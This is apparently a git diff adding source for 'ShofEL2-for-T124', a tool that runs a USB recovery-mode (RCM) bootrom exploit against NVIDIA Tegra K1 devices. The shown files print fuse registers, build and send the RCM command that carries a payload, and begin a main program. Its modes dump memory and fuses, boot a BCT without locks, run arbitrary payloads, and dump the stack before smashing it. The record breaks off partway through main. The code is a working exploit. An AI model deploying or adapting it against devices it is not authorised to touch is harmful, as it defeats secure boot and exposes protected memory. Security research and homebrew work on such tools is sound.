printf( "FUSE_OPT_WAFER_ID: %08x\n", fuse_chip_registers->FUSE_OPT_WAFER_ID );
|
||||
printf( "FUSE_OPT_X_COORDINATE: %08x\n", fuse_chip_registers->FUSE_OPT_X_COORDINATE );
|
||||
printf( "FUSE_OPT_Y_COORDINATE: %08x\n", fuse_chip_registers->FUSE_OPT_Y_COORDINATE );
|
||||
printf( "FUSE_OPT_SEC_DEBUG_EN: %08x\n", fuse_chip_registers->FUSE_OPT_SEC_DEBUG_EN );
|
||||
printf( "FUSE_OPT_OPS_RESERVED: %08x\n", fuse_chip_registers->FUSE_OPT_OPS_RESERVED );
|
||||
printf( "FUSE_SATA_CALIB: %08x\n", fuse_chip_registers->FUSE_SATA_CALIB );
|
||||
printf( "FUSE_GPU_IDDQ_CALIB: %08x\n", fuse_chip_registers->FUSE_GPU_IDDQ_CALIB );
|
||||
printf( "FUSE_TSENSOR3_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR3_CALIB );
|
||||
printf( "FUSE_SKU_BOND_OUT_L: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_L );
|
||||
printf( "FUSE_SKU_BOND_OUT_H: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_H );
|
||||
printf( "FUSE_SKU_BOND_OUT_U: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_U );
|
||||
printf( "FUSE_SKU_BOND_OUT_V: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_V );
|
||||
printf( "FUSE_SKU_BOND_OUT_W: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_W );
|
||||
printf( "RESERVED_0x144: %08x\n", fuse_chip_registers->RESERVED_0x144 );
|
||||
printf( "FUSE_OPT_SUBREVISION: %08x\n", fuse_chip_registers->FUSE_OPT_SUBREVISION );
|
||||
printf( "FUSE_OPT_SW_RESERVED_0: %08x\n", fuse_chip_registers->FUSE_OPT_SW_RESERVED_0 );
|
||||
printf( "FUSE_OPT_SW_RESERVED_1: %08x\n", fuse_chip_registers->FUSE_OPT_SW_RESERVED_1 );
|
||||
printf( "FUSE_TSENSOR4_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR4_CALIB );
|
||||
printf( "FUSE_TSENSOR5_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR5_CALIB );
|
||||
printf( "FUSE_TSENSOR6_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR6_CALIB );
|
||||
printf( "FUSE_TSENSOR7_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR7_CALIB );
|
||||
printf( "FUSE_OPT_PRIV_SEC_EN: %08x\n", fuse_chip_registers->FUSE_OPT_PRIV_SEC_EN );
|
||||
printf( "FUSE_PKC_DISABLE: %08x\n", fuse_chip_registers->FUSE_PKC_DISABLE );
|
||||
printf( "RESERVED_0x16C: %08x\n", fuse_chip_registers->RESERVED_0x16C );
|
||||
printf( "RESERVED_0x170: %08x\n", fuse_chip_registers->RESERVED_0x170 );
|
||||
printf( "RESERVED_0x174: %08x\n", fuse_chip_registers->RESERVED_0x174 );
|
||||
printf( "RESERVED_0x178: %08x\n", fuse_chip_registers->RESERVED_0x178 );
|
||||
printf( "FUSE_FUSE2TSEC_DEBUG_DISABLE: %08x\n", fuse_chip_registers->FUSE_FUSE2TSEC_DEBUG_DISABLE );
|
||||
printf( "FUSE_TSENSOR8_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR8_CALIB );
|
||||
printf( "FUSE_OPT_CP_BIN: %08x\n", fuse_chip_registers->FUSE_OPT_CP_BIN );
|
||||
printf( "FUSE_OPT_GPU_FS: %08x\n", fuse_chip_registers->FUSE_OPT_GPU_FS );
|
||||
printf( "FUSE_OPT_FT_BIN: %08x\n", fuse_chip_registers->FUSE_OPT_FT_BIN );
|
||||
printf( "RESERVED_0x190: %08x\n", fuse_chip_registers->RESERVED_0x190 );
|
||||
printf( "FUSE_SKU_BOND_OUT_X: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_X );
|
||||
printf( "FUSE_APB2JTAG_DISABLE: %08x\n", fuse_chip_registers->FUSE_APB2JTAG_DISABLE );
|
||||
printf( "RESERVED_0x19C: %08x\n", fuse_chip_registers->RESERVED_0x19C );
|
||||
printf( "FUSE_PHY_FLOORSWEEP: %08x\n", fuse_chip_registers->FUSE_PHY_FLOORSWEEP );
|
||||
printf( "FUSE_PHY_FLOOR_ENABLE: %08x\n", fuse_chip_registers->FUSE_PHY_FLOOR_ENABLE );
|
||||
printf( "FUSE_ARM_CRYPT_DE_FEATURE: %08x\n", fuse_chip_registers->FUSE_ARM_CRYPT_DE_FEATURE );
|
||||
printf( "FUSE_DENVER_MTS_DE_FEATURE: %08x\n", fuse_chip_registers->FUSE_DENVER_MTS_DE_FEATURE );
|
||||
printf( "FUSE_DIE_VERSION_OVERRIDE: %08x\n", fuse_chip_registers->FUSE_DIE_VERSION_OVERRIDE );
|
||||
printf( "FUSE_TRIMMERS: %08x\n", fuse_chip_registers->FUSE_TRIMMERS );
|
||||
printf( "FUSE_DENVER_BOOT_SEC: %08x\n", fuse_chip_registers->FUSE_DENVER_BOOT_SEC );
|
||||
printf( "FUSE_DENVER_DFD_ACCESS: %08x\n", fuse_chip_registers->FUSE_DENVER_DFD_ACCESS );
|
||||
printf( "FUSE_WOA_SKU_FLAG: %08x\n", fuse_chip_registers->FUSE_WOA_SKU_FLAG );
|
||||
printf( "FUSE_ECO_RESERVE_1: %08x\n", fuse_chip_registers->FUSE_ECO_RESERVE_1 );
|
||||
printf( "FUSE_GCPLEX_CONFIG_FUSE: %08x\n", fuse_chip_registers->FUSE_GCPLEX_CONFIG_FUSE );
|
||||
printf( "RESERVED_0x1CC: %08x\n", fuse_chip_registers->RESERVED_0x1CC );
|
||||
printf( "RESERVED_0x1D0: %08x\n", fuse_chip_registers->RESERVED_0x1D0 );
|
||||
printf( "RESERVED_0x1D4: %08x\n", fuse_chip_registers->RESERVED_0x1D4 );
|
||||
printf( "RESERVED_0x1D8: %08x\n", fuse_chip_registers->RESERVED_0x1D8 );
|
||||
printf( "RESERVED_0x1DC: %08x\n", fuse_chip_registers->RESERVED_0x1DC );
|
||||
printf( "RESERVED_0x1E0: %08x\n", fuse_chip_registers->RESERVED_0x1E0 );
|
||||
printf( "RESERVED_0x1E4: %08x\n", fuse_chip_registers->RESERVED_0x1E4 );
|
||||
printf( "RESERVED_0x1E8: %08x\n", fuse_chip_registers->RESERVED_0x1E8 );
|
||||
printf( "RESERVED_0x1EC: %08x\n", fuse_chip_registers->RESERVED_0x1EC );
|
||||
printf( "RESERVED_0x1F0: %08x\n", fuse_chip_registers->RESERVED_0x1F0 );
|
||||
printf( "RESERVED_0x1F4: %08x\n", fuse_chip_registers->RESERVED_0x1F4 );
|
||||
printf( "RESERVED_0x1F8: %08x\n", fuse_chip_registers->RESERVED_0x1F8 );
|
||||
printf( "FUSE_SPARE_REALIGNMENT_REG: %08x\n", fuse_chip_registers->FUSE_SPARE_REALIGNMENT_REG );
|
||||
printf( "FUSE_SPARE_BITS 00-03: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[ 0], fuse_chip_registers->FUSE_SPARE_BITS[ 1], fuse_chip_registers->FUSE_SPARE_BITS[ 2], fuse_chip_registers->FUSE_SPARE_BITS[ 3] );
|
||||
printf( "FUSE_SPARE_BITS 04-07: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[ 4], fuse_chip_registers->FUSE_SPARE_BITS[ 5], fuse_chip_registers->FUSE_SPARE_BITS[ 6], fuse_chip_registers->FUSE_SPARE_BITS[ 7] );
|
||||
printf( "FUSE_SPARE_BITS 08-11: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[ 8], fuse_chip_registers->FUSE_SPARE_BITS[ 9], fuse_chip_registers->FUSE_SPARE_BITS[10], fuse_chip_registers->FUSE_SPARE_BITS[11] );
|
||||
printf( "FUSE_SPARE_BITS 12-15: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[12], fuse_chip_registers->FUSE_SPARE_BITS[13], fuse_chip_registers->FUSE_SPARE_BITS[14], fuse_chip_registers->FUSE_SPARE_BITS[15] );
|
||||
printf( "FUSE_SPARE_BITS 16-19: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[16], fuse_chip_registers->FUSE_SPARE_BITS[17], fuse_chip_registers->FUSE_SPARE_BITS[18], fuse_chip_registers->FUSE_SPARE_BITS[19] );
|
||||
printf( "FUSE_SPARE_BITS 20-23: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[20], fuse_chip_registers->FUSE_SPARE_BITS[21], fuse_chip_registers->FUSE_SPARE_BITS[22], fuse_chip_registers->FUSE_SPARE_BITS[23] );
|
||||
printf( "FUSE_SPARE_BITS 24-27: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[24], fuse_chip_registers->FUSE_SPARE_BITS[25], fuse_chip_registers->FUSE_SPARE_BITS[26], fuse_chip_registers->FUSE_SPARE_BITS[27] );
|
||||
printf( "FUSE_SPARE_BITS 28-31: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[28], fuse_chip_registers->FUSE_SPARE_BITS[29], fuse_chip_registers->FUSE_SPARE_BITS[30], fuse_chip_registers->FUSE_SPARE_BITS[31] );
|
||||
printf( "FUSE_SPARE_BITS 32-35: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[32], fuse_chip_registers->FUSE_SPARE_BITS[33], fuse_chip_registers->FUSE_SPARE_BITS[34], fuse_chip_registers->FUSE_SPARE_BITS[35] );
|
||||
printf( "FUSE_SPARE_BITS 36-39: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[36], fuse_chip_registers->FUSE_SPARE_BITS[37], fuse_chip_registers->FUSE_SPARE_BITS[38], fuse_chip_registers->FUSE_SPARE_BITS[39] );
|
||||
printf( "FUSE_SPARE_BITS 40-43: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[40], fuse_chip_registers->FUSE_SPARE_BITS[41], fuse_chip_registers->FUSE_SPARE_BITS[42], fuse_chip_registers->FUSE_SPARE_BITS[43] );
|
||||
printf( "FUSE_SPARE_BITS 44-47: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[44], fuse_chip_registers->FUSE_SPARE_BITS[45], fuse_chip_registers->FUSE_SPARE_BITS[46], fuse_chip_registers->FUSE_SPARE_BITS[47] );
|
||||
printf( "FUSE_SPARE_BITS 48-51: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[48], fuse_chip_registers->FUSE_SPARE_BITS[49], fuse_chip_registers->FUSE_SPARE_BITS[50], fuse_chip_registers->FUSE_SPARE_BITS[51] );
|
||||
printf( "FUSE_SPARE_BITS 52-55: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[52], fuse_chip_registers->FUSE_SPARE_BITS[53], fuse_chip_registers->FUSE_SPARE_BITS[54], fuse_chip_registers->FUSE_SPARE_BITS[55] );
|
||||
printf( "FUSE_SPARE_BITS 56-59: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[56], fuse_chip_registers->FUSE_SPARE_BITS[57], fuse_chip_registers->FUSE_SPARE_BITS[58], fuse_chip_registers->FUSE_SPARE_BITS[59] );
|
||||
printf( "FUSE_SPARE_BITS 60-63: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[60], fuse_chip_registers->FUSE_SPARE_BITS[61], fuse_chip_registers->FUSE_SPARE_BITS[62], fuse_chip_registers->FUSE_SPARE_BITS[63] );
|
||||
}
|
||||
|
173
ShofEL2-for-T124/exploit/mini_libusb.c
Normal file
@ -0,0 +1,173 @@
|
||||
#include "mini_libusb.h"
|
||||
|
||||
#define SYSFS_MOUNT_PATH "/sys"
|
||||
#define SYSFS_DEVICE_PATH SYSFS_MOUNT_PATH "/bus/usb/devices"
|
||||
|
||||
struct setup_data {
|
||||
uint8_t bRequestType;
|
||||
uint8_t bRequest;
|
||||
uint16_t wValue;
|
||||
uint16_t wIndex;
|
||||
uint16_t wLength;
|
||||
uint8_t data[];
|
||||
};
|
||||
|
||||
int usb_get_att(uint16_t *val, char *d_name, char *attr, int base) {
|
||||
|
||||
int ret = -1;
|
||||
char filepath[256];
|
||||
char attr_buf[20];
|
||||
int attr_fd;
|
||||
|
||||
snprintf(filepath, sizeof(filepath), SYSFS_DEVICE_PATH "/%s/%s", d_name, attr);
|
||||
attr_fd = open(filepath, O_RDONLY);
|
||||
if (attr_fd < 0) {
|
||||
DEBUG_MSG( "Usb %s: %s attribute not found.\n", d_name, attr );
|
||||
goto exit;
|
||||
}
|
||||
|
||||
if ( !read(attr_fd, attr_buf, sizeof(attr_buf)) ) {
|
||||
DEBUG_MSG( "Usb %s: couldn't read %s.\n", d_name, attr );
|
||||
goto exit;
|
||||
}
|
||||
|
||||
*val = (uint16_t) strtol(attr_buf, NULL, base);
|
||||
|
||||
ret = 0;
|
||||
|
||||
exit:
|
||||
close(attr_fd);
|
||||
return ret;
|
||||
|
||||
}
|
||||
|
||||
int usb_find_path_by_vid_pid( char *path, uint16_t vid, uint16_t pid ) {
|
||||
|
||||
int ret = -1;
|
||||
uint16_t d_vid, d_pid, d_bus, d_num;
|
||||
DIR *devices = opendir( SYSFS_DEVICE_PATH );
|
||||
struct dirent *entry;
|
||||
|
||||
if ( !devices ) {
|
||||
fprintf( stderr, "Critical Error: Sysfs not avaiable." );
|
||||
return 1;
|
||||
}
|
||||
|
||||
while ( ( entry = readdir( devices ) ) ) {
|
||||
|
||||
if ( !isdigit( entry->d_name[0] ) || strchr( entry->d_name, ':' ) )
|
||||
continue;
|
||||
|
||||
if ( !usb_get_att( &d_vid, entry->d_name, "idVendor", 16 ) && ( vid == d_vid ) &&
|
||||
!usb_get_att( &d_pid, entry->d_name, "idProduct", 16 ) && ( pid == d_pid ) &&
|
||||
!usb_get_att( &d_bus, entry->d_name, "busnum", 10 ) &&
|
||||
!usb_get_att( &d_num, entry->d_name, "devnum", 10 ) ) {
|
||||
|
||||
sprintf( path, "/dev/bus/usb/%03d/%03d", d_bus, d_num );
|
||||
ret = 0;
|
||||
break;
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
closedir( devices );
|
||||
return ret;
|
||||
|
||||
}
|
||||
|
||||
int usb_open_by_vid_pid( uint16_t vid, uint16_t pid, uint8_t wait ) {
|
||||
|
||||
int ret;
|
||||
char path[256];
|
||||
|
||||
do {
|
||||
ret = usb_find_path_by_vid_pid( path, vid, pid );
|
||||
usleep( 500 );
|
||||
} while ( wait && ( ret < 0 ) );
|
||||
DEBUG_MSG( "USB Path: %s\n", path );
|
||||
|
||||
if (ret) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
return open( path, O_RDWR );
|
||||
|
||||
}
|
||||
|
||||
int usb_close( int usb ) {
|
||||
return usb;
|
||||
}
|
||||
|
||||
int usb_send_control_txn( int usb, uint8_t bRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, uint16_t len, uint8_t *data, int32_t timeout ) {
|
||||
|
||||
int ret = -1;
|
||||
size_t setup_len = sizeof ( struct setup_data ) + len;
|
||||
struct setup_data *setup_data_buf;
|
||||
setup_data_buf = malloc( setup_len );
|
||||
memset( setup_data_buf, 0, setup_len );
|
||||
|
||||
setup_data_buf->bRequestType = bRequestType;
|
||||
setup_data_buf->bRequest = bRequest;
|
||||
setup_data_buf->wValue = wValue;
|
||||
setup_data_buf->wIndex = wIndex;
|
||||
setup_data_buf->wLength = len;
|
||||
|
||||
struct usbdevfs_urb usb_control_urb;
|
||||
memset(&usb_control_urb, 0, sizeof (usb_control_urb));
|
||||
|
||||
usb_control_urb.type = USBDEVFS_URB_TYPE_CONTROL;
|
||||
usb_control_urb.endpoint = 0x0;
|
||||
usb_control_urb.buffer = setup_data_buf;
|
||||
usb_control_urb.buffer_length = setup_len;
|
||||
|
||||
ioctl( usb, USBDEVFS_SUBMITURB, &usb_control_urb );
|
||||
|
||||
struct usbdevfs_urb *urb_reaped = NULL;
|
||||
|
||||
if ( timeout ) {
|
||||
|
||||
while ( timeout > 0 ) {
|
||||
|
||||
int _ret = ioctl( usb, USBDEVFS_REAPURBNDELAY, &urb_reaped );
|
||||
if ( _ret == 0 ) {
|
||||
break;
|
||||
}
|
||||
usleep(200000);
|
||||
timeout -= 200;
|
||||
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
ioctl( usb, USBDEVFS_REAPURB, &urb_reaped );
|
||||
|
||||
}
|
||||
|
||||
if ( urb_reaped && urb_reaped->status == 0 ) {
|
||||
ret = 0;
|
||||
memcpy( data, setup_data_buf->data, len );
|
||||
}
|
||||
|
||||
if ( setup_data_buf ) free( setup_data_buf );
|
||||
return ret;
|
||||
|
||||
}
|
||||
|
||||
int usb_send_bulk_txn( int usb, uint32_t ep, uint32_t len, void *data ) {
|
||||
|
||||
struct usbdevfs_bulktransfer bulk_txn;
|
||||
memset( &bulk_txn, 0, sizeof ( bulk_txn ) );
|
||||
|
||||
bulk_txn.ep = ep;
|
||||
bulk_txn.len = len;
|
||||
bulk_txn.timeout = USB_BULK_TIMEOUT;
|
||||
bulk_txn.data = data;
|
||||
|
||||
if ( ioctl( usb, USBDEVFS_BULK, &bulk_txn ) == len )
|
||||
return 0;
|
||||
|
||||
return -1;
|
||||
|
||||
}
|
||||
|
151
ShofEL2-for-T124/exploit/rcm.c
Normal file
@ -0,0 +1,151 @@
|
||||
#include "rcm.h"
|
||||
|
||||
int get_payload_aft_len( int payload_file_fd ) {
|
||||
|
||||
struct stat payload_file_stat;
|
||||
fstat( payload_file_fd, &payload_file_stat );
|
||||
size_t payload_size = payload_file_stat.st_size;
|
||||
|
||||
if ( payload_size > MAX_PAYLOAD_FILE_SIZE ) {
|
||||
fprintf( stderr, "Error: Payload file exceeds max payload size: %d bytes.\n", MAX_PAYLOAD_FILE_SIZE );
|
||||
return -1;
|
||||
}
|
||||
|
||||
size_t payload_aft_len = 0;
|
||||
if ( payload_size > MAX_PAYLOAD_BEF_SIZE ) {
|
||||
payload_aft_len = payload_size - MAX_PAYLOAD_BEF_SIZE;
|
||||
}
|
||||
|
||||
return payload_aft_len;
|
||||
}
|
||||
|
||||
int read_intermezzo( uint8_t *rcm_cmd_buf ) {
|
||||
|
||||
int ret = -1;
|
||||
int intermezzo_fd = 0;
|
||||
|
||||
intermezzo_fd = open( "intermezzo.bin", O_RDONLY );
|
||||
if ( intermezzo_fd < 0 ) {
|
||||
fprintf( stderr, "Error: Couldn't open the intermezzo.bin file.\n" );
|
||||
goto exit;
|
||||
}
|
||||
|
||||
struct stat intermezzo_stat;
|
||||
fstat( intermezzo_fd, &intermezzo_stat );
|
||||
size_t intermezzo_size = intermezzo_stat.st_size;
|
||||
if ( intermezzo_size > INTERMEZZO_LEN ) {
|
||||
fprintf( stderr, "Error: Intermezzo file exceeds max intermezzo size: %d bytes.\n", INTERMEZZO_LEN );
|
||||
goto exit;
|
||||
}
|
||||
|
||||
read( intermezzo_fd, rcm_cmd_buf + RCM_CMD_BUF_INTERMEZZO_START, INTERMEZZO_LEN );
|
||||
|
||||
ret = 0;
|
||||
|
||||
exit:
|
||||
if ( intermezzo_fd > 0) close( intermezzo_fd );
|
||||
|
||||
return ret;
|
||||
|
||||
}
|
||||
|
||||
int read_payload_file( int payload_file_fd, uint8_t *rcm_cmd_buf, size_t rcm_cmd_buf_len ) {
|
||||
|
||||
uint32_t payload_bef_len = read( payload_file_fd, rcm_cmd_buf + RCM_CMD_BUF_PAYLOAD_START, MAX_PAYLOAD_BEF_SIZE );
|
||||
uint32_t payload_aft_len = 0;
|
||||
|
||||
if ( rcm_cmd_buf_len > RCM_CMD_BUF_PAYLOAD_CONT ) {
|
||||
payload_aft_len = read( payload_file_fd, rcm_cmd_buf + RCM_CMD_BUF_PAYLOAD_CONT, rcm_cmd_buf_len - RCM_CMD_BUF_PAYLOAD_CONT );
|
||||
}
|
||||
|
||||
payload_bef_len = TO_LITTLE_ENDIAN( payload_bef_len );
|
||||
payload_aft_len = TO_LITTLE_ENDIAN( payload_aft_len );
|
||||
memcpy( rcm_cmd_buf + RCM_CMD_BUF_PAYLOAD_BEF_LENVAR, (uint8_t *)&payload_bef_len, 0x4 );
|
||||
memcpy( rcm_cmd_buf + RCM_CMD_BUF_PAYLOAD_AFT_LENVAR, (uint8_t *)&payload_aft_len, 0x4 );
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
int build_rcm_cmd( int payload_file_fd, uint8_t *rcm_cmd_buf, size_t rcm_cmd_buf_len, uint32_t payload_thumb_mode ) {
|
||||
|
||||
int ret = -1;
|
||||
|
||||
const uint32_t rcm_cmd_len = TO_LITTLE_ENDIAN( RCM_CMD_LEN );
|
||||
const uint32_t payload_entry = TO_LITTLE_ENDIAN( BOOTROM_PAYLOAD_ENTRY | 0x1 );
|
||||
payload_thumb_mode = TO_LITTLE_ENDIAN( payload_thumb_mode );
|
||||
|
||||
ret = read_intermezzo( rcm_cmd_buf );
|
||||
if ( ret < 0 ) {
|
||||
goto exit;
|
||||
}
|
||||
|
||||
ret = read_payload_file( payload_file_fd, rcm_cmd_buf, rcm_cmd_buf_len );
|
||||
if ( ret < 0 ) {
|
||||
goto exit;
|
||||
}
|
||||
|
||||
memcpy( rcm_cmd_buf, (uint8_t *)&rcm_cmd_len, sizeof(uint32_t) );
|
||||
memcpy( rcm_cmd_buf + RCM_CMD_BUF_MEMCPY_RET_ADD, (uint8_t *)&payload_entry, sizeof(uint32_t) );
|
||||
memcpy( rcm_cmd_buf + RCM_CMD_BUF_PAYLOAD_THUMB_MODE, (uint8_t *)&payload_thumb_mode, sizeof(uint32_t) );
|
||||
|
||||
ret = 0;
|
||||
|
||||
exit:
|
||||
|
||||
return ret;
|
||||
|
||||
}
|
||||
|
||||
int send_rcm_cmd( int rcm_usb, char* payload_filename, uint32_t payload_thumb_mode ) {
|
||||
|
||||
int ret = -1;
|
||||
uint8_t *rcm_cmd_buf = 0;
|
||||
int payload_file_fd = 0;
|
||||
|
||||
payload_file_fd = open( payload_filename, O_RDONLY );
|
||||
if ( payload_file_fd < 0 ) {
|
||||
fprintf( stderr, "Error: Couldn't open the payload file: %s.\n", payload_filename );
|
||||
goto exit;
|
||||
}
|
||||
|
||||
int payload_aft_len = get_payload_aft_len( payload_file_fd );
|
||||
if ( payload_aft_len < 0 ) {
|
||||
goto exit;
|
||||
}
|
||||
|
||||
size_t rcm_cmd_buf_len = RCM_CMD_BUF_PAYLOAD_CONT + payload_aft_len;
|
||||
printf("len rcm_cmd_buf = %d\n", (int) (rcm_cmd_buf_len));
|
||||
size_t padding = 0x1000 - ( rcm_cmd_buf_len % 0x1000 );
|
||||
printf("padding = %d\n", (int) (padding));
|
||||
uint32_t n_writes = ( rcm_cmd_buf_len + padding) / 0x1000;
|
||||
if ( ! ( n_writes % 2 ) ) {
|
||||
padding += 0x1000;
|
||||
}
|
||||
printf("padding = %d\n", (int) (padding));
|
||||
|
||||
rcm_cmd_buf = malloc( rcm_cmd_buf_len + padding );
|
||||
if ( !rcm_cmd_buf ) {
|
||||
fprintf( stderr, "Error: Couldn't alloc memory for RCM CMD buffer\n" );
|
||||
goto exit;
|
||||
}
|
||||
memset( rcm_cmd_buf, 0x00, rcm_cmd_buf_len + padding);
|
||||
|
||||
ret = build_rcm_cmd( payload_file_fd, rcm_cmd_buf, rcm_cmd_buf_len, payload_thumb_mode );
|
||||
if ( ret < 0 ) {
|
||||
goto exit;
|
||||
}
|
||||
|
||||
printf("len rcm_cmd_buf = %d", (int) (rcm_cmd_buf_len + padding));
|
||||
goto exit;
|
||||
|
||||
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, rcm_cmd_buf_len + padding, rcm_cmd_buf );
|
||||
|
||||
exit:
|
||||
if (payload_file_fd > 0) close(payload_file_fd);
|
||||
if (rcm_cmd_buf) free(rcm_cmd_buf);
|
||||
|
||||
return ret;
|
||||
|
||||
}
|
||||
|
246
ShofEL2-for-T124/exploit/shofel2_t124.c
Normal file
@ -0,0 +1,246 @@
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include "t124.h"
|
||||
#include "rcm.h"
|
||||
#include "fuse.h"
|
||||
#include "mini_libusb.h"
|
||||
#include "mem_dumper_usb_server.h"
|
||||
|
||||
void print_hex_memory( void *mem, size_t size ) {
|
||||
uint8_t *p = (uint8_t *)mem;
|
||||
for ( int i = 0; i < size ; i++ ) {
|
||||
if ( ( ( i % 16 ) == 0 ) && i )
|
||||
printf( "\n" );
|
||||
printf( "0x%02x ", p[i] );
|
||||
}
|
||||
printf( "\n" );
|
||||
}
|
||||
|
||||
void print_help() {
|
||||
|
||||
fprintf( stderr, "shofel2_t124 ( MEM_DUMP | READ_FUSES | BOOT_BCT | PAYLOAD | DUMP_STACK ) [options]\n"
|
||||
"\t* MEM_DUMP address length out_file -> Dumps \"length\" bytes starting from \"address\" to \"out_file\".\n"
|
||||
"\t* READ_FUSES out_file -> Dumps the T124 fuses to \"out_file\" and show them in console.\n"
|
||||
"\t* BOOT_BCT -> Boots BCT without applying locks.\n"
|
||||
"\t* PAYLOAD payload.bin [arm|thumb] -> Boots \"payload.bin\" the entrymode mode can be specified (thumb by default).\n"
|
||||
"\t* DUMP_STACK -> Dumps the stack as it is before smash it.\n\n" );
|
||||
|
||||
}
|
||||
|
||||
int main( int argc, char *argv[] ) {
|
||||
|
||||
int _ret_main = -1;
|
||||
int rcm_usb = 0;
|
||||
|
||||
uint8_t *data = NULL;
|
||||
|
||||
int hacky_get_status_len = BOOTROM_SMASH_LEN;
|
||||
|
||||
char *payload_filename = NULL;
|
||||
uint32_t payload_thumb_mode = 1;
|
||||
|
||||
uint8_t *dump = NULL;
|
||||
uint32_t dump_start = 0;
|
||||
uint32_t dump_len = 0;
|
||||
char *dump_filename;
|
||||
int dump_fd = -1;
|
||||
uint8_t do_print_fuse = 0;
|
||||
|
||||
|
||||
// ---- PARSE ARGS ----
|
||||
|
||||
if ( argc < 2 ) {
|
||||
fprintf( stderr, "Error: invalid argument count.\n\n" );
|
||||
print_help();
|
||||
goto exit;
|
||||
}
|
||||
|
||||
if ( !strcmp( argv[1], "MEM_DUMP" ) ) {
|
||||
|
||||
if ( argc != 5 ) {
|
||||
fprintf( stderr, "Error: invalid argument count. shofel2_t124 MEM_DUMP address length out_file.\n" );
|
||||
goto exit;
|
||||
}
|
||||
payload_filename = "mem_dumper_usb_server.bin";
|
||||
sscanf( argv[2], "%x", &dump_start );
|
||||
sscanf( argv[3], "%x", &dump_len );
|
||||
dump_filename = argv[4];
|
||||
|
||||
} else if ( !strcmp( argv[1], "READ_FUSES" ) ) {
|
||||
|
||||
if ( argc != 3 ) {
|
||||
fprintf( stderr, "Error: invalid argument count. shofel2_t124 READ_FUSES out_file.\n" );
|
||||
goto exit;
|
||||
}
|
||||
payload_filename = "mem_dumper_usb_server.bin";
|
||||
dump_start = FUSE_BASE;
|
||||
dump_len = FUSE_LEN;
|
||||
dump_filename = argv[2];
|
||||
do_print_fuse = 1;
|
||||
|
||||
} else if ( !strcmp( argv[1], "BOOT_BCT" ) ) {
|
||||
|
||||
if ( argc != 2 ) {
|
||||
fprintf( stderr, "Error: invalid argument count. shofel2_t124 BOOT_BCT.\n" );
|
||||
goto exit;
|
||||
}
|
||||
payload_filename = "boot_bct.bin";
|
||||
|
||||
} else if ( !strcmp( argv[1], "PAYLOAD" ) ) {
|
||||
|
||||
if ( ( argc != 3 ) && ( argc != 4 ) ) {
|
||||
fprintf( stderr, "Error: invalid argument count. shofel2_t124 PAYLOAD payload.bin [arm|thumb]\nThumb mode will be used by default.\n" );
|
||||
goto exit;
|
||||
}
|
||||
payload_filename = argv[2];
|
||||
if ( ( argc == 4 ) && ( argv[3][0] == 'a' ) ) {
|
||||
payload_thumb_mode = 0;
|
||||
}
|
||||
|
||||
} else if ( !strcmp( argv[1], "DUMP_STACK" ) ) {
|
||||
|
||||
if ( argc != 2 ) {
|
||||
fprintf( stderr, "Error: invalid argument count. shofel2_t124 DUMP_STACK.\n" );
|
||||
goto exit;
|
||||
}
|
||||
|
||||
payload_filename = "boot_bct.bin"; // This payload shouldn't run on this CMD...
|
||||
hacky_get_status_len = BOOTROM_STACK_GAP_LEN;
|
||||
|
||||
} else {
|
||||
|
||||
fprintf( stderr, "Error: invalid command.\n\n" );
|
||||
print_help();
|
||||
goto exit;
|
||||
|
||||
}
|
||||
|
||||
// --------------------
|
||||
|
||||
|
||||
// ----- INIT RCM -----
|
||||
|
||||
printf( "Waiting T124 to enter RCM mode (ctrl-c to cancel). Note: root permission could be required.\n" );
|
||||
// rcm_usb = usb_open_by_vid_pid( (uint16_t)JETSON_TK1_VID, (uint16_t)JETSON_TK1_PID, 1 );
|
||||
rcm_usb = usb_open_by_vid_pid( (uint16_t)SHIELD_TK1_VID, (uint16_t)SHIELD_TK1_PID, 1 );
|
||||
printf( "K1 in RCM mode connected.\n" );
|
||||
if ( rcm_usb < 0 ) {
|
||||
fprintf( stderr, "Error: Couldn't open the usb.\n" );
|
||||
goto exit;
|
||||
}
|
||||
|
||||
uint8_t chip_id_buf[RCM_CHIP_ID_LEN];
|
||||
memset( &chip_id_buf, 0, sizeof(chip_id_buf) );
|
||||
|
||||
